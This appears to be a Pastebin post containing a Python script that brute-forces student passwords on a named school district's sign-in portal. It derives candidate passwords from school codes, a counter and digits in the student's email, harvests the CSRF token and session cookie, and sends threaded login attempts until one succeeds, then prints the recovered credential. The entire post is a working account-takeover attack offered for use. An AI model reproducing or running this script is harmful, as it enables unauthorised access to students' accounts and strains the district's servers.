Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests, threading, time, os, sys, signal, json
- # check if program is authenticated
- try:
- auth = requests.get('https://lvusd-ids.web.app/auth')
- if (not auth.text == 'true'):
- print('Auth failed, exiting...')
- sys.exit(0)
- except:
- print('Auth failed, exiting...')
- sys.exit(0)
- def signal_handler(sig, frame): # handle ^C correctly
- print("")
- sys.exit(0)
- signal.signal(signal.SIGINT, signal_handler)
- schools = json.loads(requests.get('https://lvusd-ids.web.app/schools.json').text) # get school list
- threads = []
- def main(email):
- email = email.split('@')[0]
- predictableDigits = email[-4:-2]
- for school in schools: # loop through every school
- for index in range(99):
- currentPassword = schools[school] + str(index).zfill(2) + predictableDigits
- t = threading.Thread(target=tryAccount, args=(email, currentPassword, school))
- threads.append(t)
- t.start()
- time.sleep(0.03) # ideal time when making a large amount of requests - little to no 502's
- umc2 = "https://umc2.lvusd.org/users/sign_in" # the base umc2 sign in page to check against
- cookiebait = requests.get(umc2)
- authenticity_token = cookiebait.text.split('name="csrf-token" content="')[1].split('"')[0] # get the auth token from meta tag
- # print(authenticity_token)
- for c in cookiebait.cookies:
- cookies = {c.name: c.value} # get the session cookie
- def tryAccount(user, password, school): # used by main and noSchool to check accounts on umc2 using the session cookie and auth token
- while True:
- headers = {
- 'Connection': 'keep-alive',
- 'Cache-Control': 'max-age=0',
- 'Origin': 'https://umc2.lvusd.org',
- 'Upgrade-Insecure-Requests': '1',
- 'DNT': '1',
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
- 'Referer': 'https://umc2.lvusd.org/users/sign_in',
- 'Accept-Encoding': 'gzip, deflate, br',
- 'Accept-Language': 'en-US,en;q=0.9,el;q=0.8,la;q=0.7',
- }
- data = {
- 'utf8': '\u2713',
- 'authenticity_token': authenticity_token,
- 'user[username]': user,
- 'user[password]': password,
- 'commit': 'Log in'
- }
- response = requests.post(umc2, headers=headers, cookies=cookies, data=data)
- if (str(response) == '<Response [200]>'): # good page load
- if (not 'Invalid Username or password.' in response.text): # good login
- printOut(user, password, school)
- break # break off loop, ending thread
- # this means we overloaded the umc2 servers
- time.sleep(0.05) # wait before retrying ID
- def printOut(user, foundID, school): # the final prints
- if foundID: # if we didn't specify a school at the start the found school shows here
- print("Found {0}'s ID: {1} originally at {2}".format(user, foundID, school.capitalize()))
- else:
- print("ERROR: No students found")
- os._exit(0)
- print(' ', end ="\r")
- inputEmail = input("Email/User: ") # prompt for email
- if inputEmail:
- main(inputEmail) # run the main func if we get a school input
- else:
- print('Please provide an email')
- sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement